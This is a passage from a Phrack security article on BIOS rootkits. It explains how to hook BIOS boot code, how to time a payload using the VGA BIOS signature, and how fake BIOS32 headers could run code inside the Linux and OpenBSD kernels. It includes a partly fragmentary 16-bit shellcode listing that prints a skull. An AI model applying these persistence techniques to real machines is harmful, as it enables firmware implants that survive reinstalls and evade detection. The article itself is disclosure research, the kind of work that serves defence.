marked as "DECOMPCODE" (using phnxdeco or any other tool). It almost
never changes. It works.

There are a couple of steps that you must do to ensure that you are
hooking correctly. Firstly, insert a basic hook that only jumps
forward, and then returns. Then, modify it to cause an infinite loop.
(we don't have a debugger so we must rely on these horrible
techniques) If you can control when the computers boots correctly and
when it just locks up, congratulations. Now you have your code
stealthy executing from the BIOS.

---[3.2.3 - Payload
So now, you have complete control of the BIOS. Then you unveil your
elite 16-bit shellcoding skills and try to use the venerable INT 10h
to print "I PWNED J00!" on the screen and then proceed to use INT 13h
to write evil things to the hard disk.

Not that fast. You will be greeted with the black screen of fail. 

What happens is that you still don't have complete control of the
BIOS.  First and foremost, as we did on the VMWARE hook, you are
gaining execution multiple times during the boot process. The first
time, the disk is not spinning, the screen is still turned off and
most surprisingly, the Interruption Vector Table is not initialized.
This sounds very cool but it is a big problem. You can't write to the
disk if it's not spinning, and you can use an interrupt if the IVT is
not initialized.

You must wait. But how do you know when to execute? You again need some
sort of ready-to-go signal.

---[ - The Ready Signal
In the VMWARE, we used the contents of the IVT as a ready signal. The
shellcode tested if the IVT was ready simply by checking if it had the
correct values. This was very easy because in real-mode, the IVT is
always in the same place (0000:0000, easy to remember by the way).
This technique basically sucks, because you really can't get less
generic than this. The pointers on the IVT change all the time, even
between versions of the same BIOS manufacturer.  We need a better,
more "works-on-other-computers-apart-from-mine" technique.

In short, this is the solution and it works great: 
Check if C000:0000 contains the signature AA55h.

If that conditions is true, then you can execute any interruption. The
reason is that in this precise position the VGA BIOS is loaded on all
PCs.  And AA55h is a signature that tell us that the VGA BIOS is
present. It's fine to assume that if the VGA BIOS has been loaded,
then the IVT has been initialized.  Warning: Surely the hard disk is
not spinning yet! (It's slow) but now you can check for it with the
now non-crashing interruption 13h, using function 41h to check for LBA
extensions and then trying to do a disk reset, using function 00h. You
can see an example of this on the shellcode of the section

The rest is history. You can use int 13h with LBA to check for the
disk, if it's ready, then you insert a disk-stage rootkit on it, or
insert an SMBIOS rootkit (see [PHRACK65]), or bluepill, or the
I-Love-You virus, or whatever rocks you. Your code is now immortal.
For the record, here is a second shellcode:

	;skull.asm please use nasm to assemble
	BITS 16
	        TIMES 0x0b55 db 0x90

		push es
		push ds

		push 0xc000
	        pop ds
		cmp word [0],0xaa55
		je print
		pop ds
		pop es
	        push cx
	        jmp back
	        jmp start
	        ;   123456789
	msg:    db ' .---.',13,10,\
	           '/     \',13,10,\
	           '|(\ /)|',13,10,\
	           '(_ o _)',13,10,\
	           ' |===|',13,10,\
	           ' `-.-`',13,10
	        times 55-$+msg db ' '
	        call getip
	        pop dx
	        ;init video
	        mov ax,0003
	        int 0x10
	        ;video write
	        mov bp,dx
	        sub bp,58 ; message
	        ;write string
	        mov ax,0x1300
	        mov bx,0x0007
	        mov cx,53
	        mov dx,0x0400
	        push cs
	        pop es
	        int 0x10
	        call sleep
	        jmp volver
	        mov cx, 0xfff
	        push cx
	        mov cx,0xffff
	        loop l2
	        pop cx
	        loop l1

------[ 4.- BIOS32 (Kernel direct infection)

Now you have your bios rootkit executing in BIOS, but being in BIOS
sucks from an attacker's point of view. You ideally want to be in the
kernel of the Operative System. That is why you should do something
like drop a shellcode to hard-disk or doing an SMBIOS-rootkit.  But
what if the hard-disk is encrypted? Or if the machine really doesn't
have a hard disk and boots from the network?

Fear not, because this section is for you. There is the misconception
that the BIOS is never used after boot, but this is untrue.  Operative
Systems make BIOS calls for many reasons, like for example, setting
video modes (Int 10h) and doing other funny things like BIOS-32 calls.

What is BIOS32? using Google-based research we concluded that is an
arcane BIOS service to provide information about other BIOS services
to modern 32-bit OSes, in an attempt by BIOS vendors to stay relevant
on the post MS-DOS era. You can refer to [BIOS32SDP] for more
information.  What's important is that many OSes make calls to it, and
the only requirement to being a BIOS32 service is that you must place
a BIOS32 header somewhere in the E000:0000 to F000:FFFF memory region,
16-byte aligned. The headers structure is:

Offset	Bytes	Description
0	4	Signature "_32_"
4	4	Entry point for the BIOS32 Service (here you put a pointer
		to your stuff)
8	1	Revision level, put 0
9	1	Length of the BIOS32 Headers in paragraphs (put 1)
10	1	8-bit Checksum. Security FTW!
11	5	Reserved, put 0s.

This is a pattern on all BIOS services. The way to locate and execute
services is a pattern search followed by a checksum, and then it just
jumps to a function that is some kind of dispatcher.  This behavior is
present in various BIOS functions like Plug and Play ($PnP), Post
Memory Manager ($PMM), BIOS32 (_32_), etc.  Security was not
considered at the time when this system was designed, so we can take
advantage of this and insert our own headers (We can even use an
option-rom from this, without modifying system BIOS), and the OS
ultimately always trust the BIOS.

You can see how Linux 2.6.27 detects and calls this service on the
kernel function:

	if ((pcibios_entry = bios32_service(PCI_SERVICE))) {
		pci_indirect.address = pcibios_entry + PAGE_OFFSET;

			"lcall *(%%edi); cld\n\t"  <--- Pwn point
			"jc 1f\n\t"
			"xor %%ah, %%ah\n"

OpenBSD 4.5 does the same here:

bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei)
	base = 0;
	__asm __volatile("lcall *(%4)"         <-- Pwn point
	    : "+a" (service), "+b" (base), "=c" (count), "=d" (off)
	    : "D" (&bios32_entry)
	    : "%esi", "cc", "memory");

At the moment we don't have any data on Windows XP/Vista/7 
BIOS32-direct-calling, but please refer to the presentation [JHeasman]
where it documents direct Int 10h calling from several points on the
Windows kernel.

Faking a BIOS32 header or modifying an existing one is a viable way to
do direct-to-kernel binary execution, and more comfortable than the
int 10 calling (we don't need to jump to and from protected mode), 
without having to rely on weird stuff like we explained on section 2
and 3. 
Unfortunately because of lack of time, we couldn't provide a BIOS32
infection vector PoC in this issue, but it should be relatively easy
to implement, you now have all the tools to do it safely inside a
virtual machine, like VMware.

------[ 5.- Future and other uses

Bios modification is a powerful attack technique. As we said before,
if you take control of the system at such an early stage, there is
very little that an anti-virus or detection tool can do. Furthermore,
we can stay resident using a common boot-sector rootkit, or file
system modification.  But some of the more fun things that you can do
with this attack is to drop a more sophisticated rootkit, like a
virtualized one, or better, a SMM Rootkit.

---[5.1 - SMM!
The difficulty of SMM Rootkits relies on the fact that you can't 
touch the SMRAM once the system is booted, because the BIOS sets
the D_LCK bit [PHRACK65].  Recently many techniques has been
developed to overcome this lock, like [DUFLOTSM], but if you are
executing in BIOS, this lock doesn't affect you, because you are
executing before this protection, and you could modify the SMRAM
directly on the firmware. However, this	technique would be very 
difficult and not generic at all, but it's doable.

---[5.2 - Signed firmware
The huge security hole that is allowing unsigned firmware into
a motherboard is being slowly patched and many signed BIOS
systems are being deployed, see [JHeasman2] for examples.
This gives you an additional layer of security and prevent
exactly the kind of attack proposed in this article.
However, no system is completely secure, bug and backdoors
will always exist. To this date no persistent attack on
signed bios has been made public, but researchers are
close to beating this kind of protections, see for example 
---[5.3 - Last words
Few software is so fundamental and at the same time, so closed,
as the BIOS. UEFI [UEFIORG], the new firmware interface, promises 
open-standards and improved security.
But meanwhile, we need more people looking, reversing and 
understanding this crucial piece of software. 
It has bugs, it can contain malicious code, and most importantly,
BIOS can have complete control of your computer. Years ago people
regained part of that control with the open-source revolution, but
users won't have complete control until they know what's lurking
behind closed-source firmware.
If you want to improve or start researching your own BIOS and
need more resources, an excellent place to start would be
the WIM'S BIOS High-Tech Forum [WBHTF], where very low-level
technical discussions take place.

--[6.- Greetz
We would like to thank all the people at Core Security for giving us
the space and resources to work in this project, in particular to the
whole CORE's Exploit writers team for supporting us during the time we
spent researching this interesting stuff.
Kudos to the phrack editor team that put a huge effort into this 

To t0p0, for inspiring us in this project with his l33t cisco stuff.
To Gera for his technical review.  To Lea & ^Dan^ for correctin our
englis.  And Laura for supporting me (Alfred) on my long nights of
bios-related suffering. 
---[7.- References

[JHeasman] Firmware Rootkits, The Threat to the Enterprise,
	   John Heasman, http://www.ngssoftware.com/research/
[JHeasman2] Implementing and detecting ACPI BIOS rootkit,
[BIOS32SDP] Standard BIOS 32-bit Service Directory Proposal 0.4,
	    Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/
[COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/
[PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/
[DUFLOTSM] "Using CPU System Management Mode to Circumvent 
	   Operating System Security Functions" Loic Duflot, 
	   Daniel Etiemble, Olivier Grumelard Proceedings of 
	   CanSecWest, 2006 
[UEFIORG]  Unified EFI Forum, http://www.uefi.org/
[ILTXT]	   Attacking Intel Trusted Execution Technology,
	   BlackHat DC, Feb 2009. 
[WBHTF]    WIM'S BIOS In-depth High-tech BIOS section
[LZH]      http://en.wikipedia.org/wiki/LHA_(file_format)
[Pinczakko] Pinczakko Official Website, 

  ---[8.- Sources

begin 644 phrack-66-07.tgz

--------[ EOF

[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2021, Phrack Magazine.